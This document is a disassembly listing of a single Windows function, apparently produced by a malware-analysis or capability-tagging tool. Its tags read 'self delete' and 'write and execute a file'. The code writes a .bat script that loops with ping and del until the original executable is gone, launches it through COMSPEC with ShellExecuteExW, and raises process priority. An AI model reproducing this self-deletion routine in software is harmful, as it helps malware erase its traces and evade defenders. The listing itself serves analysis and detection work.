Function at 0x40a9d6
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Write and execute a file
Write file on windows

Disassembly:
push 0x51c
mov eax, 0x4456df
call fcn.00436cbf
mov esi, 0x208
xor ebx, ebx
push esi
lea eax, [ebp - 0x21e]
push ebx
push eax
mov word [ebp - 0x220], bx
call fcn.00434e30
push esi
lea eax, [ebp - 0x42e]
push ebx
push eax
mov word [ebp - 0x430], bx
call fcn.00434e30
add esp, 0x18
mov esi, 0x104
push esi
lea eax, [ebp - 0x220]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40ae90
push esi
lea eax, [ebp - 0x430]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40ae90
push 7
pop esi
mov byte [ebp - 0x4a4], bl
mov dword [ebp - 0x488], esi
mov dword [ebp - 0x48c], ebx
mov word [ebp - 0x49c], bx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x46c], esi
mov dword [ebp - 0x470], ebx
mov word [ebp - 0x480], bx
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x4a4]
push eax
mov byte [ebp - 4], 1
call fcn.0040f850
test al, al
jne 0x40aab4
push ebx
push 1
lea esi, [ebp - 0x484]
call fcn.004012b6
or dword [ebp - 4], 0xffffffff
jmp 0x40ae84
push str..bat
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x44c]
push eax
call fcn.004043af
add esp, 0xc
lea eax, [ebp - 0x44c]
lea ecx, [ebp - 0x484]
call fcn.0040dd00
test al, al
jne 0x40aaf4
push ebx
push 1
lea esi, [ebp - 0x44c]
call fcn.004012b6
jmp 0x40aa9d
mov byte [ebp - 0x4a4], bl
mov dword [ebp - 0x450], esi
mov dword [ebp - 0x454], ebx
mov word [ebp - 0x464], bx
push str.if_not_exist__
lea eax, [ebp - 0x468]
push eax
mov byte [ebp - 4], 3
call fcn.00403d40
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x468]
push eax
call fcn.00403d40
push str.___del__0___else__ping_127.0.0.1__n_2del__
lea eax, [ebp - 0x468]
push eax
call fcn.00403d40
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x468]
push eax
call fcn.00403d40
push str.__0_
lea eax, [ebp - 0x468]
push eax
call fcn.00403d40
push 4
call fcn.00434ec3
cmp eax, ebx
pop ecx
je 0x40ab83
or dword [eax], 0xffffffff
mov esi, eax
mov dword [ebp - 0x4c4], esi
jmp 0x40ab8b
mov dword [ebp - 0x4c4], ebx
mov esi, ebx
mov dword [ebp - 0x4d0], esi
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x40abd7
push 2
pop eax
call fcn.0040ebb0
cmp dword [ebp - 0x434], 8
mov ecx, dword [ebp - 0x448]
jae 0x40abb6
lea ecx, [ebp - 0x448]
push ebx
push eax
push 3
push ebx
push 1
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x40abea
push esi
call fcn.00434f88
pop ecx
push ebx
push 1
lea esi, [ebp - 0x468]
call fcn.004012b6
jmp 0x40aae4
lea edi, [ebp - 0x468]
lea eax, [ebp - 0x4c0]
call fcn.0040f6c0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4ac]
cmp ecx, ebx
jne 0x40ac4f
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x4c0]
call fcn.004020ed
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x40ac27
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00434f88
pop ecx
push ebx
push edi
lea esi, [ebp - 0x468]
call fcn.004012b6
push ebx
push edi
lea esi, [ebp - 0x44c]
call fcn.004012b6
push ebx
push edi
jmp 0x40aaa0
cmp dword [ebp - 0x4a8], 0x10
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x4c8], ebx
jae 0x40ac70
lea eax, [ebp - 0x4bc]
or edi, 0xffffffff
cmp eax, ebx
je 0x40ae35
cmp dword [esi], edi
je 0x40ae35
push ebx
lea edx, [ebp - 0x4c8]
push edx
push ecx
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40ae35
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x4c8]
jne 0x40ae35
cmp dword [esi], edi
je 0x40acc5
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40ae35
mov dword [esi], edi
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x50c]
push ebx
push eax
call fcn.00434e30
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x528]
push str._c__
push eax
mov dword [ebp - 0x50c], esi
mov dword [ebp - 0x500], str.Open
call fcn.00404365
add esp, 0x18
push edi
lea ecx, [ebp - 0x44c]
push ecx
xor ebx, ebx
mov byte [ebp - 4], 6
call fcn.00401322
xor edi, edi
push ebx
inc edi
push edi
lea esi, [ebp - 0x528]
mov byte [ebp - 4], 5
call fcn.004012b6
push 0x448e18
lea eax, [ebp - 0x44c]
push eax
call fcn.00403d40
cmp dword [ebp - 0x434], 8
mov eax, dword [ebp - 0x448]
jae 0x40ad4e
lea eax, [ebp - 0x448]
mov dword [ebp - 0x4f8], eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x4fc], eax
lea eax, [ebp - 0x50c]
push eax
mov dword [ebp - 0x4f0], ebx
mov dword [ebp - 0x508], 0x8040
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40ad99
push ebx
push edi
lea ecx, [ebp - 0x4c0]
call fcn.004020ed
mov esi, dword [ebp - 0x4c4]
jmp 0x40ac19
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x4d4]
call esi
test eax, eax
je 0x40ad81
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x40ad81
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
push ebx
lea ecx, [ebp - 0x4c0]
push edi
je 0x40ad89
call fcn.004020ed
mov esi, dword [ebp - 0x4c4]
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x40adf3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00434f88
pop ecx
push ebx
push edi
lea esi, [ebp - 0x468]
call fcn.004012b6
push ebx
push edi
lea esi, [ebp - 0x44c]
call fcn.004012b6
push ebx
push edi
lea esi, [ebp - 0x484]
call fcn.004012b6
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x4a4]
push eax
call fcn.0040f700
mov al, 1
jmp 0x40ae92
push ebx
push 1
lea ecx, [ebp - 0x4c0]
call fcn.004020ed
mov eax, dword [esi]
cmp eax, edi
je 0x40ae50
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00434f88
pop ecx
push ebx
push 1
lea esi, [ebp - 0x468]
call fcn.004012b6
push ebx
push 1
lea esi, [ebp - 0x44c]
call fcn.004012b6
push ebx
push 1
lea esi, [ebp - 0x484]
call fcn.004012b6
mov dword [ebp - 4], edi
lea eax, [ebp - 0x4a4]
push eax
call fcn.0040f700
xor al, al
call fcn.00436d42
ret